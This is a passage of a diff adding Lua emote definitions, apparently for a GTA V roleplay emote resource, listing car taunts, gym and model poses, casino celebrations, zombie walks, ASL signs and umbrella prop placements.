"missarmenian1driving_taunts@lamar_1", + "cmonmynigga", + "Car Taunt 2", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 2000, + } + }, + ["cartauntc"] = { + "missarmenian1driving_taunts@lamar_1", + "hahahakeepup", + "Car Taunt 3", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 2000, + } + }, + ["cartauntd"] = { + "missarmenian1driving_taunts@lamar_1", + "manthisismeanttobe", + "Car Taunt 4", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 2000, + } + }, + ["cartaunte"] = { + "missarmenian1driving_taunts@lamar_1", + "rememberthis", + "Car Taunt 5", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 3000, + } + }, + ["cartauntf"] = { + "missarmenian1driving_taunts@lamar_1", + "skoolinyoass", + "Car Taunt 6", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 3000, + } + }, + ["cartauntg"] = { + "missarmenian1driving_taunts@lamar_1", + "youaintfuckin", + "Car Taunt 7", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 2000, + } + }, + ["cartaunth"] = { + "missarmenian1driving_taunts@franklin", + "heyidontneedanybody", + "Car Taunt 8", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 2000, + } + }, + ["cartaunti"] = { + "missarmenian1driving_taunts@franklin", + "heymotherfuckayoudriveslowasfuck", + "Car Taunt 9", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 3000, + } + }, + ["cartauntj"] = { + "missarmenian1driving_taunts@franklin", + "kids_on_bicycles", + "Car Taunt 10", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 2000, + } + }, + ["cartauntk"] = { + "missarmenian1driving_taunts@franklin", + "learnhowtouseastick", + "Car Taunt 11", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 2000, + } + }, + ["cartauntl"] = { + "missarmenian1driving_taunts@franklin", + "slowassshit", + "Car Taunt 12", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 2000, + } + }, + ["cartauntm"] = { + "mp_intro_seq@mcs_7_race_taunt", + "mcs_7_taunt_female", + "Car Taunt 13", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 5000, + } + }, + ["cartauntn"] = { + "mp_intro_seq@mcs_7_race_taunt", + "mcs_7_taunt_male", + "Car Taunt 14", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 5000, + } + }, + ["flex2"] = { -- Custom Emote By Amnilka + "frabi@malepose@solo@firstsport", + "pose_sport_002", + "Flex 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, --- Allows us to flex while performing another animation + } + }, + ["gym"] = { -- Custom Female Emote By Souris + "mouse@air_squat", + "air_squat_clip", + "Gym - Squats", + AnimationOptions = { + EmoteLoop = true, + } + }, + ["gym2"] = { -- Custom Female Emote By Souris + "mouse@byc_crunch", + "byc_crunch_clip", + "Gym - Crunches", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 400, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["gym3"] = { -- Custom Female Emote By Souris + "mouse@jump_exc", + "jump_exc_clip", + "Gym - Jumping", + AnimationOptions = { + EmoteLoop = true, + } + }, + ["gym4"] = { -- Custom Female Emote By Souris + "mouse@jump_jack", + "jump_jack_clip", + "Gym - Jumping Jacks", + AnimationOptions = { + EmoteLoop = true, + } + }, + ["gym5"] = { -- Custom Female Emote By Souris + "mouse@situp", + "situp_clip", + "Gym - Sit Up", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 550, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["gympose"] = { -- Custom Emote By Amnilka + "frabi@malepose@solo@firstsport", + "pose_sport_001", + "Gym Pose", + AnimationOptions = { + EmoteLoop = true + } + }, + ["gympose2"] = { -- Custom Emote By Amnilka + "frabi@malepose@solo@firstsport", + "pose_sport_005", + "Gym Pose 2 - One Handed Push Up", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 550, + ExitEmote = "standup", + ExitEmoteType = "Exits" + } + }, + ["gympose3"] = { -- Custom Female Emote By Frabi + "frabi@femalepose@solo@firstsport", + "fem_pose_sport_004", + "Gym Pose 3 - Planking Pose", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 550, + ExitEmote = "standup", + ExitEmoteType = "Exits" + } + }, + ["gympose4"] = { -- Custom Female Emote By Frabi + "frabi@femalepose@solo@firstsport", + "fem_pose_sport_005", + "Gym Pose 4 - Sit Ups Pose", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 510, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + + + -- CASINO DLC EMOTES (Requires gamebuild 2060 or higher) + + + ["karate"] = { + "anim@mp_player_intcelebrationfemale@karate_chops", + "karate_chops", + "Karate" + }, + ["karate2"] = { + "anim@mp_player_intcelebrationmale@karate_chops", + "karate_chops", + "Karate 2" + }, + ["cutthroat"] = { + "anim@mp_player_intcelebrationmale@cut_throat", + "cut_throat", + "Cut Throat" + }, + ["cutthroat2"] = { + "anim@mp_player_intcelebrationfemale@cut_throat", + "cut_throat", + "Cut Throat 2" + }, + ["mindblown"] = { + "anim@mp_player_intcelebrationmale@mind_blown", + "mind_blown", + "Mind Blown", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 4000 + } + }, + ["mindblown2"] = { + "anim@mp_player_intcelebrationfemale@mind_blown", + "mind_blown", + "Mind Blown 2", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 4000 + } + }, + ["boxing"] = { + "anim@mp_player_intcelebrationmale@shadow_boxing", + "shadow_boxing", + "Boxing", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 4000 + } + }, + ["boxing2"] = { + "anim@mp_player_intcelebrationfemale@shadow_boxing", + "shadow_boxing", + "Boxing 2", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 4000 + } + }, + ["stink"] = { + "anim@mp_player_intcelebrationfemale@stinker", + "stinker", + "Stink", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["think4"] = { + "anim@amb@casino@hangout@ped_male@stand@02b@idles", + "idle_a", + "Think 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["adjusttie"] = { + "clothingtie", + "try_tie_positive_a", + "Adjust Tie", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 5000 + } + }, + ["shaka"] = { + "sign@hang_loose", + "base", + "Shaka 'Hang Loose'", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["shaka2"] = { + "sign@hang_loose_casual", + "base", + "Shaka 'Hang Loose Casual'", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["relax"] = { + "lying@on_grass", + "base", + "Relax", + AnimationOptions = { + EmoteLoop = true, + NotInVehicle = true, + StartDelay = 800, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["relax2"] = { + "lying@on_couch_legs_crossed", + "base", + "Relax 2", + AnimationOptions = { + EmoteLoop = true, + NotInVehicle = true, + StartDelay = 800, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["uwu"] = { + "uwu@egirl", + "base", + "UwU", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["dab"] = { + "stand_dab@dark", + "stand_dab_clip", + "Dab", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sexypose"] = { -- Custom Emote By Little Spoon + "littlespoon@sexy003", + "sexy003", + "Sexy Pose", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sexypose2"] = { -- Custom Emote By Little Spoon + "littlespoon@sexy004", + "sexy004", + "Sexy Pose 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sexypose3"] = { -- Custom Emote By Little Spoon + "littlespoon@sexy005", + "sexy005", + "Sexy Pose 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sexypose4"] = { -- Custom Emote By Little Spoon + "littlespoon@sexy006", + "sexy006", + "Sexy Pose 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sexypose5"] = { -- Custom Emote By Little Spoon + "littlespoon@sexy009", + "sexy009", + "Sexy Pose 5", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sexypose6"] = { -- Custom Emote By Little Spoon + "littlespoon@sexy012", + "sexy012", + "Sexy Pose 6", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sexypose7"] = { -- Custom Emote By Darks Animations + "bad_girls_pose3@darks37", + "bad_girls_pose3_clip", + "Sexy Pose 7", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["laydownsexy"] = { -- Custom emote by Struggleville + "anim@female_laying_sexy", + "laying_sexy_clip", + "Laying Down Sexy", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["model"] = { -- Custom emote by Struggleville + "anim@female_model_showoff", + "model_showoff_clip", + "Model Pose Sexy", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["model2"] = { -- Custom Emote By QueenSistersAnimations + "sitdownonknees@queensisters", + "sitdown_clip", + "Model Pose 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["model3"] = { -- Custom emote by Struggleville + "anim@female_model_photo_cute", + "photo_cute_clip", + "Model Pose 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["layncry"] = { + "anim@amb@nightclub@lazlow@lo_sofa@", + "lowsofa_dlg_fuckedup_laz", + "Lay & Cry", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["layncry2"] = { + "anim@amb@nightclub@lazlow@lo_sofa@", + "lowsofa_base_laz", + "Lay & Cry 2", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["layncry3"] = { + "anim@amb@nightclub@lazlow@lo_sofa@", + "lowsofa_dlg_notagain_laz", + "Lay & Cry 3", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["layncry4"] = { + "anim@amb@nightclub@lazlow@lo_sofa@", + "lowsofa_dlg_notagain_laz", + "Lay & Cry 4", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["layncry5"] = { + "anim@amb@nightclub@lazlow@lo_sofa@", + "lowsofa_dlg_shit2strong_laz", + "Lay & Cry 5", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["layncry6"] = { + "misschinese2_crystalmaze", + "2int_loop_a_taocheng", + "Lay & Cry 6", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["airforce01"] = { -- MissSnowie + "airforce@at_ease", + "base", + "Airforce - At Ease", -- MissSnowie + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["airforce02"] = { -- MissSnowie + "airforce@attention", + "base", + "Airforce - Attention", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["airforce03"] = { -- MissSnowie + "airforce@parade_rest", + "base", + "Airforce - Parade Rest", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["airforce04"] = { + "airforce@salute", + "base", + "Airforce - Salute", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["zombiewalk"] = { -- Custom Emote By BoringNeptune + "zombies_animations", + "zombi_walk_01", + "Zombie Walk", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false -- true looks weird but the option is here + } + }, + ["zombiewalk2"] = { -- Custom Emote By BoringNeptune + "zombies_animations", + "zombi_walk_02", + "Zombie Walk 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["zombieagony"] = { -- Custom Emote By BoringNeptune + "zombies_animations", + "agony", + "Zombie Agony", + AnimationOptions = { + EmoteLoop = true + } + }, + ["zombiescream"] = { -- Custom Emote By BoringNeptune + "zombies_animations", + "scream", + "Zombie Scream", + AnimationOptions = { + EmoteLoop = true + } + }, + ["zombiecrawl"] = { -- Custom Emote By BoringNeptune + "zombies_animations", + "crawl_01", + "Zombie Crawl", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "meditateup", + ExitEmoteType = "Exits" + } + }, + ["laysexy"] = { -- Custom Emote By Amnilka + "amnilka@photopose@female@homepack001", + "amnilka_femalehome_photopose_004", + "Lay Sexy", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["gungirl1"] = { -- Custom Emote By Struggleville + "anim@female_gunbunny_rifle_photo", + "rifle_photo_clip", + "Rifle Pose", + AnimationOptions = { + EmoteLoop = true + } + }, + ["vest"] = { + "anim@male@holding_vest", + "holding_vest_clip", + "Hold Vest", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["vest2"] = { + "anim@holding_side_vest", + "holding_side_vest_clip", + "Hold Vest 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["vest3"] = { + "anim@holding_siege_vest_side", + "holding_siege_vest_side_clip", + "Hold Vest 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["vest4"] = { + "anim@male@holding_vest_2", + "holding_vest_2_clip", + "Hold Vest 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["vest5"] = { + "anim@male@holding_vest_siege", + "holding_vest_siege_clip", + "Hold Vest 5", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["vest6"] = { + "anim@male@holding_vest_siege_2", + "holding_vest_siege_2_clip", + "Hold Vest 6", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["kick"] = { + "missheistdockssetup1ig_13@kick_idle", + "guard_beatup_kickidle_guard1", + "Kick", + AnimationOptions = { + EmoteLoop = true + } + }, + ["kick2"] = { + "missheistdockssetup1ig_13@kick_idle", + "guard_beatup_kickidle_guard2", + "Kick 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["kick3"] = { + "melee@unarmed@streamed_core", + "kick_close_a", + "Kick 3", + AnimationOptions = { + EmoteDuration = 1750 + } + }, + ["crosshands"] = { + "anim@amb@carmeet@checkout_car@", + "male_e_base", + "Cross hands", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["aslyes"] = { + "ebrwny_sign", + "ebrwny_yes", + "ASL Yes 🇺🇸", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 1030 + } + }, + ["aslno"] = { + "ebrwny_sign", + "ebrwny_no", + "ASL No 🇺🇸", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 2080 + } + }, + ["aslimgood"] = { + "ebrwny_sign", + "ebrwny_imgood", + "ASL I Am Good 🇺🇸", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 3940 + } + }, + ["aslcya"] = { + "ebrwny_sign", + "ebrwny_seeya", + "ASL See Ya 🇺🇸", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 1200 + } + }, + ["aslwhat"] = { + "ebrwny_sign", + "ebrwny_what", + "ASL What 🇺🇸", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 1480 + } + }, + ["hidegun"] = { -- CREDIT TO DARKS ANIMATIONS FOR THIS EXCLUSIVE RPEMOTES ANIMATION + "pistol_b_b@dark", -- CREDIT TO DARKS ANIMATIONS FOR THIS EXCLUSIVE RPEMOTES ANIMATION + "pistol_b_b_clip", -- CREDIT TO DARKS ANIMATIONS FOR THIS EXCLUSIVE RPEMOTES ANIMATION + "Hide a gun", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["femaleposea"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@femalepose_10", + "mrwitt", + "Female Pose A", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleadorable1"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@adorable_style", + "mrwitt", + "Female Adorable 1", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleadorable2"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@adorable", + "mrwitt", + "Female Adorable 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposeb"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@characterful_poses", + "mrwitt", + "Female Pose B", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposec"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@elegant_floor_hock", + "mrwitt", + "Female Pose C", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposed"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@femalepose_03", + "mrwitt", + "Female Pose D", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposee"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@femalepose_04", + "mrwitt", + "Female Pose E", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposef"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@femalepose_05", + "mrwitt", + "Female Pose F", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposeg"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@femalepose_06", + "mrwitt", + "Female Pose G", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposeh"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@femalepose_07", + "mrwitt", + "Female Pose H", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposei"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@femalepose_09", + "mrwitt", + "Female Pose I", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposej"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@femalepose_10", + "mrwitt", + "Female Pose J", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposek"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@femalepose_11", + "mrwitt", + "Female Pose K", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposel"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@finger_gun_pose", + "mrwitt", + "Female Pose L", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposem"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@models_in_action", + "mrwitt", + "Female Pose M", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposen"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@photo_session_posing", + "mrwitt", + "Female Pose N", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposeo"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@school_uniform_expression", + "mrwitt", + "Female Pose O", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposep"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@urban_posing", + "mrwitt", + "Female Pose P", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["femaleposeq"] = { --- Custom Emote By DRX Animations + "drx@femalestand13", + "xrd", + "Female Pose Q", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femaleposer"] = { --- Custom Emote By DRX Animations + "drx@femalestand14", + "xrd", + "Female Pose R", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femaleposes"] = { --- Custom Emote By DRX Animations + "drx@femalestand15", + "xrd", + "Female Pose S", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femaleposet"] = { --- Custom Emote By DRX Animations + "drx@femalestand16", + "xrd", + "Female Pose T", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femaleposeu"] = { --- Custom Emote By DRX Animations + "drx@f_sitcool", + "drx", + "Female Pose U", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["femaleposev"] = { --- Custom Emote By DRX Animations + "drx@f_standcasual1", + "drx", + "Female Pose V", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femaleposew"] = { --- Custom Emote By DRX Animations + "drx@f_standcasual2", + "drx", + "Female Pose W", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femaleposex"] = { --- Custom Emote By DRX Animations + "drx@femalestand7", + "xrd", + "Female Pose X", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femaleposey"] = { --- Custom Emote By DRX Animations + "drx@femalestand8", + "xrd", + "Female Pose Y", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femaleposez"] = { --- Custom Emote By DRX Animations + "drx@femalestand9", + "xrd", + "Female Pose Z", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["maleposea"] = { --- Custom Emote By DRX Animations + "drx@singlemale1", + "drx", + "Male Pose A", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } +}, +["maleposeb"] = { --- Custom Emote By DRX Animations + "drx@singlemale2", + "drx", + "Male Pose B", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["maleposec"] = { --- Custom Emote By DRX Animations + "drx@singlemalestand1", + "drx", + "Male Pose C", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["maleposed"] = { --- Custom Emote By DRX Animations + "drx@singlemalestand2", + "drx", + "Male Pose D", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["maleposee"] = { --- Custom Emote By DRX Animations + "drx@m_doublehands", + "drx", + "Male Pose E", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["maleposef"] = { --- Custom Emote By DRX Animations + "drx@m_standhide", + "drx", + "Male Pose F", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["maleposee1"] = { --- Custom Emote By DRX Animations + "drx@malestand2", + "xrd", + "Male Pose E1", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["maleposef1"] = { --- Custom Emote By DRX Animations + "drx@malestand3c", + "xrd", + "Male Pose F1", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["maleposeg"] = { --- Custom Emote By DRX Animations + "drx@pose_male", + "pose_male", + "Male Pose G", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["maleposeh"] = { --- Custom Emote By MrWitt + "mrwitt@gentleman_style_male", + "mrwitt", + "Male Pose H", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["maleposei"] = { --- Custom Emote By MrWitt + "mrwitt@thoughtful_man_m", + "mrwitt", + "Male Pose I", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["maleposetie"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023 + "mrwitt@tie_perfection_in_suit_male", + "mrwitt", + "Male Pose Tie", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["malecrossarms"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023 + "cross_arms@dark", + "cross_arms_clip", + "Male Cross Arms", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["malemiddlefinger"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023 + "stand_middlefinger@dark", + "stand_middlefinger_clip", + "Male Middle Finger", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["malefistface"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023 + "fist_face@darksj", + "fist_face_clip", + "Male Fist Face", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["malepose4"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023 + "fuckm@nxsty", + "fuckm_clip", + "Male Pose 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["malegunpose1"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023 + "gun_ink@darksj", + "gun_ink_clip", + "Male Gun Pose 1", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["malepose5"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023 + "koko_male@darksj", + "koko_male_clip", + "Male Pose 5", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["malepose3"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023 + "male_solo_1@darksj", + "male_solo_1_clip", + "Male Pose 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["malepose2"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023 + "male_solo_3@darksj", + "male_solo_3_clip", + "Male Pose 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["malepose1"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023 + "male_solo_4@darksj", + "male_solo_4_clip", + "Male Pose 1", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["maleshoecheck"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023 + "side_shoe_check@darksj", + "side_shoe_check_clip", + "Male Shoe Check Pose", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["malegangpose"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023 + "westside_cap@darksj", + "westside_cap_clip", + "Male Gang Pose", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["illuminati"] = { -- Custom Emote By EnchantedBrwny + "ebrwny_illum", + "ebrwny_illum003", + "Illuminati Hand Sign", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["illuminati2"] = { -- Custom Emote By EnchantedBrwny + "ebrwny_illum", + "ebrwny_illum001", + "Illuminati Hand Sign 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["illuminati3"] = { -- Custom Emote By EnchantedBrwny + "ebrwny_illum", + "ebrwny_illum002", + "Illuminati Hand Sign 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["gunpoint"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Darks Animations + "male_gun@vanessssi", + "male_gun_clip", + "Gun Point - Robbery", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + + +} + +--- PROP EMOTES GO HERE. CURRENTLY SUPPORTS UP TO ONE OR TWO PROPS --- +RP.PropEmotes = { + ["umbrella"] = { + "amb@world_human_drinking@coffee@male@base", + "base", + "Umbrella - Middle", + AnimationOptions = { + Prop = "p_amb_brolly_01", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0200, + -0.0360, + 0.0, + 10.0, + 0.0, + }, + EmoteLoop = true, + EmoteMoving = true, + ExitEmote = "shakeitoffhuman", + ExitEmoteType = "Exits" + } + }, + ['umbrella2'] = { + 'rcmnigel1d', + 'base_club_shoulder', + 'Umbrella 2 - Right Shoulder', + AnimationOptions = { + Prop = 'p_amb_brolly_01', + PropBone = 28422, + PropPlacement = { + 0.0700, + 0.0100, + 0.1100, + 2.3402393, + -150.9605721, + 57.3374916 + }, + EmoteLoop = true, + EmoteMoving = true, + ExitEmote = "shakeitoffhuman", + ExitEmoteType = "Exits" + } + }, + ['umbrella3'] = { --- Custom Emote Provided To RPEmotes By Mr Witt + 'mrwitt@rain_dreamy_pose', + 'mrwitt', + 'Umbrella 3 - Rain Check', + AnimationOptions = { + Prop = 'p_amb_brolly_01', + PropBone = 58867, + PropPlacement = { + 0.0150, + 0.0340, + -0.0340, + 16.0040, + -6.7284, + -0.9319 + }, + EmoteLoop = true, + EmoteMoving = true, + ExitEmote = "shakeitoffhuman", + ExitEmoteType = "Exits" + } + }, + ['umbrella4'] = { --- Custom Emote By Mr ultrahacx + 'custom@hold_umbrella', + 'hold_left', + 'Umbrella 4 - Hold Left', + AnimationOptions = { + Prop = 'p_amb_brolly_01', + PropBone = 60309, + PropPlacement = { + 0.0600, + -0.0100, + 0.0200, + -94.3996, + -1.7343, + 9.9656 + }, + EmoteLoop = true, + 